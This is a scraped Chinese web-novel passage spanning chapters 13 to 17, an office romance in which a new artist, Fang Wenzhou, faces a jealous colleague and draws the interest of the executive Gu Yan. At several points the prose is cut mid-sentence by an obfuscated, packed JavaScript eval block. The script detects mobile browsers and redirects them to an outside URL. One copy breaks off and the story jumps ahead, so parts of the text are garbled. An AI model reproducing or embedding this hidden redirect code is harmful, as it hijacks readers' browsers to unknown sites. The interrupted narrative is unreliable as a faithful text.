不过某个小天才转念一想,自己刚才那番话说得又没错,有什么好心虚的?他的底气又足了回来。 方闻洲挺直了背脊,不仅没躲,反而抬眸迎上了那道深沉的目光,神情无辜。 我说错什么了吗?我没有! 一时间,两人之间谁也没有说话。 男人目光深沉,意味难明。少年坦然回望,不明就里。 被彻底晾在一旁的顾行辰,只觉得浑身不自在,感觉自己是个多余的存在。 他试图打破这诡异的氛围,提议道:“既然都到了,要不一起上去?” 方闻洲往后挪了挪,脑袋摇了摇:“不用啦,小顾总你们先上去。” 少年这避之不及的姿态,让顾行辰立刻明白新人是在刻意保持距离。他正觉得这小伙子挺懂分寸,一旁始终保持沉默的顾延却忽然收回了目光,脸上像是凝了一层薄霜,二话不说径直朝门口走去。 顾行辰:? 顾行辰心里直犯嘀咕。 这又是哪根筋没搭对?刚才还跟人点头,这会儿又开始摆那臭脸,真是莫名其妙。 但是吐槽归吐槽,眼见他哥的背影快要消失在转角,也不敢再多停留。他抬手拍了拍方闻洲的肩膀当作告别,随即迈开步子,追着那道已走远的身影去了。 方闻洲目送那两道身影消失在电梯门后,又在原地静立了片刻,直到确认电梯开始上行,他才迈步走进大厅,按下了另一部电梯的呼叫键。 电梯抵达指定楼层,门外,一位人力资源部的同事已等在门口。 “是方闻洲先生吧?欢迎你入职,我带你去你的工位。” 此时还未到正式上班时间,开放式办公区内人员稀疏,仅有几位早到的员工在各自工位上整理文件或吃着早餐。 方闻洲的出现引起了靠近入口处几位同事的注意。他们不约而同地停下了手中的动作,视线落在了这位面容精致的少年身上。 少年乌黑的短发柔软地垂落额前,肤色白净,瞳仁乌润,看人时目光清澈专注,唇角带着自然的弧度,流露出一种干净又乖巧的气质。 细微的骚动随之产生。有人侧过头与身旁同事低语,更有甚者,已经不动声色地拿起手机,对着通讯软件飞快地输入起来。 面对这些视线,方闻洲表现得很从容。他自小就习惯了被注目,此刻也不畏缩,落落大方地接受着众人的打量。 HR同事指了指前面的桌子,“这就是你的位置了,你的直属上级稍后会过来和你聊聊具体的工作安排。” “好的,谢谢你。”方闻洲乖巧地点头道谢。 HR还有自己的工作要忙,说完便先行离开了。 她这一走,那些早已在工位上翘首以盼的同事们马上热情地围了上来。 “哇!欢迎欢迎!” “你好呀,新同事,以后我们就是一个组的啦。” “你看起来年纪好小,是刚刚大学毕业吗?” 方闻洲站直身体,向围过来的同事们自我介绍道。 “大家好,我是方闻洲,今天刚入职,以后请多多指教。” 在这番开场之后,他才转向那些接连抛过来的问题,好脾气地一一满足同事们的好奇心。 人多是视觉动物,面对这样一位赏心悦目又举止得体的少年,谁能忍住不心生好感,上前攀谈几句。 这初入职场的第一个照面,方闻洲凭借着他的容貌与从容的仪态,成功地赢得了所有在场同事的喜爱。 其中,有位染着栗棕色头发的男生格外活跃,他凑到方闻洲面前,伸出手:“我叫赵屿,工位就在你旁边!以后工作上有什么不懂的,随时问我。” 方闻洲伸出手与他一握:“嗯嗯,那我以后可能真的要经常麻烦你了。” “没问题,包在我身上!”赵屿拍了拍胸脯,一副十分可靠的模样。 他还想再说些什么,目光瞟到方闻洲身后某个位置,到了嘴边的话拐了个弯,“哎,说真的,我们现在部门招新是不是也太看脸了?” 方闻洲正专注于和赵屿的对话,被他这句没头没脑的感慨弄得一怔,目光顺着赵屿的视线转头,看向自己斜后方那个空着的工位。 他还没完全理解赵屿的意思,从喉咙里发出疑惑的音节:“嗯?” “在你之前,我们部门还招了一位新人,也是今天入职。”赵屿说着,朝那个空工位努了努嘴,“喏,位置就在那儿,那位长得也不错。我现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742336|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在严重怀疑,咱们总监招人的时候,是不是把颜值也当成硬性考核指标了。” 仿佛为了应征赵屿的话,办公室的玻璃门被再次推开。 说曹操曹操到,赵屿口中的人迈步走了进来,目光状似随意瞥了眼被众人簇拥在中心的方闻洲。 “呀,这么热闹?大家怎么都围在这里?” 他说话的声音成功吸引了所有人的注意。 一位热心的同事笑着接话:“余明你来啦!正好,给你介绍一下,这位是方闻洲,也是今天刚入职的新同事。” 余明的目光这才正式的停在方闻洲身上,将他从头到脚快速打量了一遍。 “原来是这样啊。”他恍然大悟般点点头,随即像是忽然想起什么,视线转向周围的同事们,嘴角弯起一抹自嘲的弧度,用一种半开玩笑的语气继续说。 “看来我早上进来的不是时候呀,都没人注意到我。果然,还是长得更讨喜的新同事比较受欢迎,不像我,来了都没人理。” 他语气轻松,好像真的只是在说笑,但那话语里藏着的委屈,还是飘进了每个人的耳朵。 空气安静了一瞬,弥漫微妙的尴尬。 有人不自在地清了清嗓子,也有人悻悻的回了座位。 赵屿站在方闻洲身侧,偷摸翻了个白眼,用只有两人能听到的音量嘀咕:“可真会演...” 察觉到身旁赵屿毫不掩饰的鄙夷,方闻洲收回视线,对着他轻轻笑了笑,没有对此发表任何评论。 就在这时,部门总监拿着一份文件从办公室走了出来,看到聚在一起的人群,拍了拍手。 “都围在这里做什么呢?各自回到岗位准备工作。余明,方闻洲,你们随我到大会议室,新入职的员工需要参加一个简短的晨会。” 总监的话就是指令,方才还聚拢的人群应声散开,纷纷回到自己的工位,方闻洲和余明一同跟上总监的步伐。 通往会议室的走廊空旷,余明刻意放慢脚步,与方闻洲并肩,侧过头压低声音,语气听起来十分诚恳。 “方闻洲,我刚才就是开个玩笑,活跃下气氛,你别往心里去啊。” 走在前面的总监步伐未停,并未留意身后的低语。 方闻洲脚步未停,却是侧首看了余明一眼。余明没能从那平静的脸上捕捉到任何情绪,只听到少年用听不出喜怒的声线,散漫地应了一声:“嗯。” 简短的对话后,两人一路无话地走到了会议室门口。 方闻洲人长得可爱,白白净净,任谁看了都觉得是个单纯乖巧的弟弟。 可他心下却是一片清明,余明方才那番话,表面是道歉解释,但话里有话,究竟是随口玩笑,还是存心在众人面前给他设套,稍一琢磨就明白了。 他一点也不想深究,在职场上,太早把自己的聪明劲儿全亮出来,那才是傻子的举动。 有些事,心里清楚就行了。 所以之前他也并未应和赵屿的话,只把所有的心思都藏在了那副人畜无害的外表之下。 14. 第 14 章 总监推开大会议室的门,侧身示意两位新人进去。 方闻洲迈步而入,整个会议室的动态尽收眼底。 长条会议桌的首位,坐着的并非发号施令的小顾总,而是那个仅有几面之缘的男人。 他姿态沉静地居于主座,周身气场强大,小顾总则陪坐在次位,正侧身与他低语。 就在方闻洲看过去的同一瞬,顾延也抬起了眼眸。 与方才楼下那破天荒的微末回应截然不同,这一次男人的目光在他身上冷淡扫过,未作停留,视线就重新落回手中的文件上。 眼神里没有丝毫熟悉的痕迹,仿若他们之间从未有过任何交集,连那两次偶遇都只是方闻洲一人的错觉。 顾延这番动作,反而让方闻洲心下一定,更加确信自己在楼下的处理方式没有错。 他迅速垂下眼睫,掩去所有情绪,安静地随总监在指定位置坐下。 除了他们之外,还有几张陌生面孔,可以看出这次公司进行了一次规模不小的集中扩招。 会议开始,顾行辰率先发言,简要说明了此次业务扩张的意义。尽管他语气平和,但新人们初来乍到,面对高层难免紧张,会议室内的气氛显得有些压抑。 为了活跃气氛,他话锋一转:“大家不用太严肃。这样吧,趁着这场会议,各位新同事都简单做个自我介绍,互相认识一下,也方便日后的合作。” 这话一出,座位上几位性格内向的新人不由得头皮发麻,暗自叫苦。 然而上司发话不得不从,众人只得硬着头皮,顺着长桌的顺序从前到后依次开始介绍,内容也多是千篇一律的姓名、毕业院校和职位。 在这按部就班的流程中,几位勇于表现的新人就显得格外突出。余明立马抓住了这个机会,力求在高层面前留下深刻印象。 他站起身,声音洪亮,充满了自我能力的肯定与欣赏,并夸张地描述起自己在校期间主导的一个项目,言辞间激情澎湃。 “...这个项目在当时取得了巨大的成功,我也渴望在这片更广阔的天地里,将我的热情与能力都奉献出来!” 语毕,他目露得意,视线殷切地投向主位上的顾延,期待着能获得一句半句的点评或认可。 只可惜,顾延连头都没抬,对他这番激情的言论提不起半点兴趣。 余明脸上的笑容僵住,讪讪地坐下。 紧接着,另外几位新人也依次起身介绍,整个过程中,顾延的反应大同小异,未曾给予任何关注。 只有顾行辰会依据手中的简历,偶尔提出一两个专业问题,语气公事公办,非但没能缓解紧张,反而让气氛更加压抑。 在这愈发沉闷的氛围中,自我介绍终于轮到了末位的方闻洲。 他依言起身,刚说出:“我叫方闻洲...” 话语还未说完,主位之上,那个自会议伊始便对所有声音置若罔闻的男人猛地抬起了头。 深不见底的眼眸牢牢锁在方闻洲脸上,那目光太过专注,与之前对所有人的漠视形成了对比。 他并未在意自己这一举动带来的影响,薄唇微启,低沉的声线在会议室里异常清晰,带着压迫感。 “你再说一遍,你叫什么?” 时间似乎都因这句话而停止流动,在场所有人都屏住呼吸,目光在顾延和方闻洲之间来回逡巡,不明白为何一个简单的名字会引来这位大人物如此反常的追问。 方闻洲的心跳漏了一拍,但他面上不动声色,迎向那道专注的视线,每个字都咬得清楚。 “方闻洲。方向的方,听闻的闻,绿洲的洲。” 名字又一次被说出口,顾延没再说话。他沉默地看向方闻洲,那眼神复杂难辨,像是在审视,又像是在确认什么,里头翻涌着旁人无法理解的情绪。 会议室变得无比安静,没有男人的命令谁也不敢妄自开口。 又过了几十秒,就连旁观的顾行辰都受不了,准备想办法缓和一下这诡异的气氛时,顾延却倏然收回了那极具压迫感的视线。 所有外泄的情绪尽数收敛,男人恢复一贯的沉稳,主动结束了这场短暂的交锋。 “继续。” 流程在顾延发话后才得以推进,后续的议程进行得很快,再也没有人有出格的表现。 会议顺利结束,高层们相继起身离开会议室,方闻洲同样起身,准备回到工位,那些方才还正襟危坐的新同事们,齐齐看向少年。 方闻洲:想干嘛? 他再一次成为了人群的焦点。 不少人状似随意地靠近,借着收拾桌面的动作搭话,拐弯抹角地询问他是否之前就与顾总相识。 面对这些盘问,方闻洲始终维持着茫然,他睁大眼睛,脸上写满了被大人物异常关注后的无措,对所有试探均以无辜三连否认作为回应。 我不认识,我不清楚,我也想不明白啊。 众人见他这里实在探听不出什么有价值的内幕,也只当他说的是实话。 不过片刻,这群乘兴而来的人便觉得实在没有什么意思,各自散开。 —— 最先离开会议室的两人,这会已经回到了顾延的独立办公室。 门刚一合拢,顾行辰身上那点正经模样瞬间消失得无影无踪。他整个人松弛地陷进会客区的沙发里,随手扯松了领带,一双眼睛闪烁八卦的光芒,紧紧盯住走向办公桌的顾延。 “哥,你刚才在会上怎么回事?” 顾延没有回答他的问题,坐在椅子上身体微微后靠。 窗外的天光映照着他轮廓分明的侧脸,神情隐匿在明暗交错之中,看不真切。 顾行辰等了会始终等不到他哥的回应,撇撇嘴准备放弃,顾延的声音才缓缓响起。 “方闻洲是什么部门的?” 这问题属实跳脱,把顾行辰问得一愣。他眨了眨眼,努力回想了一下人事部提交的资料。 “啊?他好像是美术部的吧?” 顾延又问:“嗯,你看过方闻洲的画作吗?” “他的画我怎么可能看过,我又不负责具体面试筛选。” 说到这儿,顾行辰一个激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没关系,他有的是时间去寻找答案。 这个念头一旦清晰起来,便迅速压过了所有的权衡利弊。 顾延拿起手机,指尖在屏幕上快速敲下一行字,发给顾行辰。 【G:我对你公司的帮助可以延后,在此期间,你不用付出任何代价。】 【G:但这份帮助由于是我的单方面承诺,因此,它什么时候开始什么时候结束,只能由我来决定。】 信息发送成功,他将手机放回桌面。 这是一个完全不符合他行事风格的决定,他的人生信条向来是银货两讫,绝不做赔本的买卖。 可这一次,他主动放弃了议价权,进行了一场没有担保的情感投资。 想到这里,他唇角牵起自嘲的弧度。 算了,他认了。 为他破例,也是心甘情愿。 15. 第 15 章 会议结束之后,总监指定了一位资深画师暂时带领他们熟悉工作。 方闻洲秉承着少说多做的原则,沉默地完成分配给他的辅助性任务,姿态低调。 可惜纸包不住火,会议室里顾延那一问,不出半天就传遍公司,尤其是美工部。这使得方闻洲不可避免地收获了许多或好奇或探究的目光。 余明将这一切看在眼里,心中的妒火越烧越旺。 他自认才华横溢,在校期间便是风云人物,那天的自我介绍更是精心准备,满心以为能脱颖而出,结果顾延连眼皮都未曾为他抬一下。 反倒是这个除了张脸长得好看些外看起来平平无奇的方闻洲,仅仅报了个名字,就引得那位主座的男人当众失态。 这种巨大的落差感让他如鲠在喉。 他认定方闻洲不过是运气好,是靠着脸蛋得了青眼。 同在一个部门几小时观察下来,他更是觉得方闻洲除了做事细致外,并没展现出什么惊世骇俗的才华。 嫉妒使他发誓要找寻机会弥补早上的颜面,下午这个机会就来了。 组长在部门内部群里发布了一个小型紧急任务,是为一个次要NPC设计几套备选服装草图。要求不高,但需要速度快。组长在群里问了全体成员,谁手头比较空可以接下。 余明抢先在群里回复:“组长,我来吧,我正好有个想法。” 同一时间,方闻洲也打了字:“我可以试试。” 看见群里的回复,余明从隔板后探出身,脸上挂着无害的笑容,“闻洲,这种小任务就不用麻烦你了。公司高层早上在会上那么看重你,你肯定有更重要的潜力要发挥,这种杂活儿交给我就行。” 办公室里顿时响起几声笑来,一些同事交换着心照不宣的眼神。 这话听起来是体贴同事,实则是在暗讽方闻洲名不副实,靠关系或运气上位。 方闻洲敲击键盘的手指顿了顿,抬眼看向余明,什么也没说。 群里的组长没察觉到两人之间的暗潮涌动,拍板道:“新来的两个人都很积极嘛,那你们一起做,各自出两到三套草图,明天下班前发我看看。” 任务定下,两人都各自开始完成任务。 余明一头扎进绘制中,显得干劲十足。相比之下,方闻洲则安静得多。他没有急于动笔,而是先仔细研读了任务描述与游戏背景,随后才拿起铅笔,在速写本上不疾不徐地勾勒起来。 人一旦专注起来,就会感觉不到时间的流逝。 余明率先完成了初稿,他得意地将数位板往桌上一推,发出响声制造动静,把人的注意吸引过来之后,才故作感慨:“总算有点样子了。这种基础练习,主要还是看创意和功底,不然啊,根本跟不上咱们公司项目的快节奏。” 说话时,他的目光状似无意地扫过方闻洲的工位。当看到方闻洲仍在对著速写本勾勒,电脑屏幕上绘图软件还是一片空白,嘴角撇了下,神情轻蔑。 由于办公室十分安静,余明制造的声响声方闻洲自然能听到,但他懒得理会。 这次他想突破以往的风格,尝试用细节装饰来体现NPC背景故事,所以一些服装结构需要反复推敲。 没有得到自己想要的反应,余明感觉自己一拳打在了空处,有气没地方发作,只好安分下来。 少了外界的干扰,方闻洲完全沉浸其中,思绪流转毫无滞涩。直到将所有关窍思考明白,这才感觉强烈的干渴感。 他放下笔起身,拿起水杯走向茶水间。 途经余明身旁,屏幕上一闪而过的熟悉画风让他下不由得看了一眼。 就是这一眼,让他停下了脚步。 那屏幕上登录的,竟是他自己的微博大号。 余明正看得入神,手指不断滚动页面,嘴里还发出不断发出赞叹声,完全没注意到身后站了个人。 方闻洲的神情变得有些古怪,他看着屏幕上自己再熟悉不过的主页,问:“你在干什么?” 这突然响起的声音把余明吓得一激灵,他手忙脚乱地按动键盘,将屏幕切换到了绘画页面。 见是方闻洲,脸上堆起不太自然的笑容,眼神闪烁解释:“没什么,随便看看找找灵感。” 话一出口,他意识到自己反应有些过激。不过是浏览巨佬的微博页面,既没保存图片也没直接抄袭,有什么好心虚的? 想到这里,他又有了底气。 余明伸手将屏幕又切回了闻舟的微博主页,那幅细节繁复的画作再次占据了整个屏幕。 “哦,你说这个啊。”他指了指屏幕,“我在学习,看看真正的大佬是怎么处理服饰的细节和构图的。” 余明刻意将学习两个字得极重,见来人好像被闻舟的画驯服了,才继续说:“我说闻洲啊,咱们做这行,眼光就得放高一点,多看看顶尖的作品,才知道差距在哪里,总闷头自己琢磨可不行。你说是不是?像闻舟大神这种级别,那才是我们努力的方向,有些人啊,可能一辈子都摸不到边儿呢。” 他这番话明褒暗贬,字里行间全是对方闻洲的贬低之意。 然而,方闻洲听完他这番夹枪带棒的话,脸上的神情不但没有难堪,反而变得更加奇怪了。 他盯着余明看了两秒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742338|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那目光让余明心里莫名有些发毛。 “嗯,你说的对,是该多向他学习学习。”方闻洲意有所指地扫过余明的屏幕,用只有两人听得见的声音温和的补上一刀:“不过我得提醒你,画虎画皮难画骨,某些人就算对着真迹模仿,也只能学个四不像,别最后忙活一场,只落得个东施效颦。” 起初听到前面方闻洲应和他的话,余明控制不住就要大笑起来。 他心中冷哼:总算是认怂了? 可这笑容还未完全展开,就僵在了脸上。 方闻洲后面那番话一说出口,整段就变了味道。 他就算是个傻子,此刻也完全听明白了,方闻洲分明是拐着弯嘲弄他水平低下,只会狺狺狂吠! 被戏弄的怒火噌地冲上头顶,烧得他头脑发昏。 余明站起身,气急败坏:“方闻洲!你什么意思?!我好心提醒你向上看齐,你反倒在这里阴阳怪气?怎么,觉得自己很了不起,连闻舟大神都看不上了?” 质问一出,办公室里敲击键盘的声音都稀疏了不少,好几道目光明里暗里地偷瞄过来。 豁,办公室多久没这么热闹过了,还是小年轻好,有活力! 处于风暴中心的少年,像是没感受到这紧绷的气氛。他被余明指着鼻子质问,非但没有动怒,反而歪了下头,脸色无辜。 “同担,你怎么会这么想?闻舟老师的作品当然值得尊敬,我怎么会看不上呢。如果刚才我的话让你产生了误会,我向你道歉。别生气了,好吗?” 这番回应更显得余明刚才上纲上线的指责,格外无理取闹。 周围的同事虽然没出声,但看向眼神余明的眼神意味完全不同了。 “啧,余明这火气也太大了吧。” “小方脾气真好,被那么指着说都没急眼。” “就是,长得乖,性格也好,反倒是余明一大早就上蹿下跳,现在又没事找事。” 舆论的天平只在一句话间就发生了倾斜。 说完,方闻洲不再理会脸色一阵青一阵白的余明,端着空水杯,晃悠到茶水间,留下余明一个人站在那里,承受着四面八方无声的审判。 余明只觉得自己如同小丑,狼狈不堪。 他死死攥紧了拳头,狠狠盯着方闻洲背影。 身后的窃窃私语不断进入他耳中,他猛地合上笔记本,顾不上收拾抓起背包,冲向办公室门口。 等到方闻洲接完水回来,余明的工位已经空了。 单纯无害的少年目光扫过空荡的椅子,心里轻哼。 和洲洲大人斗,再多去练几年吧。 16. 第 16 章 方闻洲做事心无旁骛,效率极高。一旦理清了思路,凭借他扎实的功底,绘制几幅服装草图并非难事。 他回到工位后,就沉浸在自己的创作世界里,早将余明抛诸脑后,直到感觉身后有人落座,才从专注状态中稍稍抽离,用眼角余光瞥了一眼。 哦,是余明。 方闻洲心里略感诧异,这位同事的脸皮厚度倒是超出了他的预估。原以为对方至少会赌气到同事们都下班之后,没想到仅仅自己冷静了十几分钟,就又灰溜溜地提着背包回来了。 此时距离下班仅剩不到五分钟。方闻洲放下绘图笔,满意地审视着屏幕上已经完成的两套设计草图。 线条利落,构思新颖,完全达到了他预期的效果。至于最后一套方案,他心中已有成竹,清晰的构思让他确信,明天专门花上半天时间便能顺利完成。 任务快要做完,他舒畅地伸了个懒腰,又活动了几下有些僵硬的颈肩。 作为新时代继承人,方闻洲一向秉持着准时打卡,绝不内卷的理念。收拾好东西,步履轻快第一个走出了公司。 正值下班高峰,电梯口人头涌动。好不容易等到一部,里面已经站了七八个人,眼看还能再挤进一两个。方闻洲暗自庆幸,赶紧侧身闪了进去,面朝电梯门站好。 就在电梯门快要合拢时,一道熟悉的身影出现在视野边缘。 又是那个男人。 他似乎刚结束一场会议,臂弯里搭着裁剪合体的西装外套,仅穿着白色衬衫,领口扣子解开一颗,少了几分会议桌上的严谨,多了几分随性。 基于会议室男人的异常关注,导致方闻洲在入职第一天就备受瞩目。本想低调做人的方闻洲目前还不太想理会不知名先生。 男人的目光淡淡扫过这边,脚步却并未停留,走向旁边那部高管专用梯。方闻洲心头一松。 还好,这栋写字楼配备了高管专用梯,麻烦之源总不至于蠢到来特意与他们挤一个电... 等等,他为什么转变了方向! 不对,这方向怎么是朝我这边走来的! 男人视线锁定了人群中的方闻洲,迈开长腿,毫不犹豫地朝着即将关闭的普通员工电梯走来。 方闻洲心头警铃大作! 身体快于大脑的反应,他伸出手,手指死命地连按了好几下关门键。 快关!快关啊! 电梯门响应着他的操作,加速闭合,眼看只剩下窄缝。 一只骨节分明的手却不急不缓地伸了过来,堪堪拦在了门缝之间。感应到障碍,电梯门又朝两侧滑开。 方闻洲:“......” 可恶。 他呆在原地,手指还尴尬地悬在被他按得发亮的关门键上,与门外一步踏入的顾延来了个四目相对。 顾延深邃的目光先是落在他那只还没来得及收回去的罪魁祸首的手上,随即缓缓上移,对上他的视线。 “怎么?很着急?”男人挑了挑眉,问道。 方闻洲默默缩回手,指尖羞耻的蜷缩进掌心,那双总是灵动的眼睛睁得圆圆的,活像只受惊的猫。 男人脸上依旧没什么表情,可方闻洲就是从他的眼眸里,捕捉到了一闪而过的玩味。 少年心虚的想要后退,可左右都是密实的人墙,根本无处可逃。 电梯门在他眼前缓缓合拢,将外界隔绝,也将他与顾延彻底困在了这个狭小逼仄的空间里。 电梯开始运行,轻微的失重感袭来,人群随着惯性微微晃动。方闻洲只觉得后背猝不及防地撞上了一个温热而坚实的胸膛,能清晰地感受到其下肌肉的轮廓与热度。他浑身一僵,变成了一只被捏住后颈皮的猫,一动不敢动。 一向清冷的男人也不知今天怎么了,非要得到少年的答案。 男人比少年要高十公分左右,此时微微俯身,说话的气音拂过他敏感的耳畔:“嗯?还没回答我。” 方闻洲梗着脖子,眼睛死死盯着前方不断跳动的数字,他试图往前挪动半分,以拉开距离,可刚有动作,身侧一个乘客无意间的挤压,反而让他更深地嵌入了身后男人的怀抱。 顾延轻笑了一声,一只手撑在了他身侧的电梯壁上,为他隔开了一部分拥挤的人群,也将他更密实地圈禁在了这一方天地里。 “我、我不急!” “是么。” 许是怕再逗下去少年可能真要炸毛了,顾延见好就收,没再追问。 短短几十秒的电梯下行时间,对于方闻洲来说,漫长得像度过了一个世纪,等到电梯门终于在底层打开,他逃也似得一路冲到写字楼外。 傍晚的风吹散了热意,方才感觉呼吸顺畅了些。 早高峰地铁里的记忆犹新,他快步走到街边,低头操作手机,迫切地想要叫到一辆网约车,离开这个是非之地。 一阵脚步声自身后由远及近,最终停在他身侧。刚才还闻过的气息萦绕过来,顾延走近了两步,与他并肩站在路边。 “你没车?” 方闻洲低着头,脸不红心不跳:“太穷了,买不起。” 顾延若有所思地看了他侧脸一眼,“要不我送你?” “不用不用,不麻烦您了,我叫的车马上就到了。” 好不容易逮到人,顾延怎么会轻易放他走,刚想再说点什么,就被另一道殷勤的声音插了进来。 “好巧呀,您也刚下班吗?” 余明阴魂不散,目光牢牢锁定在顾延身上。 结果对余明的搭讪置若罔闻,他的视线都没有偏转,落在方闻洲低垂的脑袋上,又问了一句:“真不要我送?” 无人回应他的问题,余明脸上尴尬心下不甘,又堆起更甜的笑容,抢在方闻洲再次拒绝前开口:“我正好也没叫到车,看这天色好像快下雨了,如果顺路的话,不知道能不能也麻烦您一下?” 顾延的目光终于从方闻洲毛茸茸的发顶移开,暼向一旁努力维持甜美笑容的余明:“你见过哪个上司专门送下属回家的?是你没带脑子,还是觉得我看起来很闲?” 这话毫不留情,余明脸上的笑容冻结,血色以肉眼可见的速度褪去,嘴唇嗫嚅了几下,一个字也吐不出来。 “噗。” 身旁的方闻洲没憋住的笑音,肩膀耸动了一下。 这男人面上高冷,说话也太毒了,简直是把余明的脸面按在地上摩擦,一点情面都不留。 可偏偏这番毫不客气的举动,莫名取悦了他,方闻洲心头那点小别扭忽然就散了。 他抬起头,眼睛亮晶晶地看向顾延,嘴角翘起狡黠的笑容,假模假样地拿捏起勉为其难的调子:“既然您都这么坚持, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742339|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就劳烦您送我回去了。” 对!洲洲就是这么恶劣,就要让余明看到男人对余明和对他,是截然不同的两种态度。 终于等到少年点头,顾延眸光微动,当即颔首。他将声音放柔,“等着,我去开车。” 自始至终,他的视线没有再次偏向余明半分,仿若这个人不存在一般。 待顾延的身影刚一消失在车库入口,余明脸上那强挤出来的笑容瞬间垮塌。嘴角向下撇去,脸颊肌肉因极力隐忍而微微抽搐,整张脸异常阴沉。 他扭过头,恶狠狠地瞪向方闻洲,脖颈上的青筋因咬牙而隐隐浮现。那眼神里再无半分掩饰,只剩下赤裸裸的憎恶与怒火,死死钉在方闻洲的身上。 “不过是有张好脸,得意什么!” 听到这话,方闻洲原本带着笑意的眼神冷了下来。 他慢慢转过头,视线停在余明因嫉妒而扭曲的脸上。 不过他没有反驳余明的话,反而学着刚才顾延那懒得搭理的模样,垂下眼睫,目光轻飘飘地从余明身上略过,又低下头,专注地玩自己的手机。 被两次当做空气的余明:“......” 彻头彻尾的漠视,比任何犀利的言辞都更具侮辱性。 余明被他这副姿态噎得说不出话,火气直冲头顶,整张脸涨成了猪肝色。 “你!”他你了半天,也没你出个所以然来。 最终,只能从喉咙里发出一声极度不甘的粗喘,狠狠地跺了下脚,气急败坏的走了。 方闻洲这才抬起头,看着余明消失的方向,摇了摇头。 年轻人啊,心态还是不行。 没让方闻洲等多久,一辆黑色奥迪A8便开到他面前停下。车窗降下,露出顾延的侧脸。 “上车。” 方闻洲点点头,很自然地伸手去拉后座的车门。他的手刚碰到门把手,驾驶座上的男人像是脑后长了眼睛,淡淡开口,“坐前面。” “哦。” 少年乖乖松开后门把手,绕到前面,拉开了副驾驶的车门。 顾延熟练地操控着方向盘,车辆汇入傍晚的车流。他目光直视前方,问道:“地址?” “××小区。”方闻洲报出地名。 顾延在导航里输入目的地,看着屏幕上显示的区位,不经意道:“这地段,离市中心不远。周边的房价,可不便宜。” 为了保持低调,维持初入社会的普通大学生模样,方闻洲开始飙戏。 “是啊,贵死了。所以我只是租了个小单间,每个月工资一大半估计都要贡献给房东了。” “嗯,刚起步都这样,要是生活上真有什么困难,可以及时和公司反馈。” “谢谢关心,我会努力工作的。” 话题到此,又被掐断,车厢内随之陷入了一片沉寂。 方闻洲将头偏向车窗,专注地看着窗外飞速流窜的街景。 这份安静让方闻洲的思绪稍微放松,也让他后知后觉地意识到一个有点离谱的事情。 他好像还不知道这个男人叫什么名字? 虽然已经碰面好几次,但他对这个男人的了解,几乎是一片空白。 用眼角余光打量了一下身侧的男人,方闻洲决定主动开口。 “这位不知名先生,能告诉我你叫什么吗?” 17. 第 17 章 “顾延。” 方闻洲在心里默念了一遍这个名字,觉得这名字和他的人一样,带着点疏离的冷感。 他侧过身,朝向驾驶座的方向,追问道:“哪两个字?” “回顾的顾,延长的延。” “顾延,挺好听的。” “嗯。” 虽然还是这样简短的回应,但方闻洲注意到,从上车到现在,他说的每一句话,顾延都接住了,没有让任何一句落空。 这个人,好像也没有他想象中那么拒人千里。 这个发现让方闻洲忍不住又抬眼看向顾延。 男人手握方向盘,侧脸轮廓在俊朗。就在少年话音落下的瞬间,顾延的嘴角勾起一个不明显的弧度,转瞬即逝,快得让方闻洲以为是自己的错觉。 恰在此时,路旁排列的夜灯次第亮起,暖黄色的光晕透过车窗照进车内,柔和地映在顾延的侧脸上。 那层惯常的冷峻被灯光融化了些许,竟让这个男人看上去有了那么一点难得的温柔。 意识到这一点,方闻洲不再拘谨,他原本收着的话匣子也随之打开。 “你来公司多久了呀?” “不久。” “你平时也这个点下班吗?” “不一定。” 车厢里原本有些尴尬的气氛,因这一来一往的对话,又流动起来。 起初还是方闻洲的问题居多,不知何时起,问答的主被动关系发生调转,变成顾延问他回答。 “一个人住?” “对呀,我又没有对象。” “嗯。”顾延指尖在方向盘上轻轻敲了一下,接话,“平时晚上回去会做点什么?” “也没什么特别的,刷刷微博,看看喜欢的画师更新,偶尔玩玩游戏。” “喜欢的画师?”顾延的问题递进了一层,“有特别关注的吗?” 方闻洲有所觉察:“有啊,圈子里几位大神都有关注,看得比较杂。” 他回答得含糊,试图将话题带过。 顾延却没有就此打住的意思。前方路口有点堵车,他缓缓踩下刹车,转过脸来看向方闻洲。 “是吗。”他开口,“我偶尔也看。有个叫闻舟的画手,风格很独特。你听说过吗?” 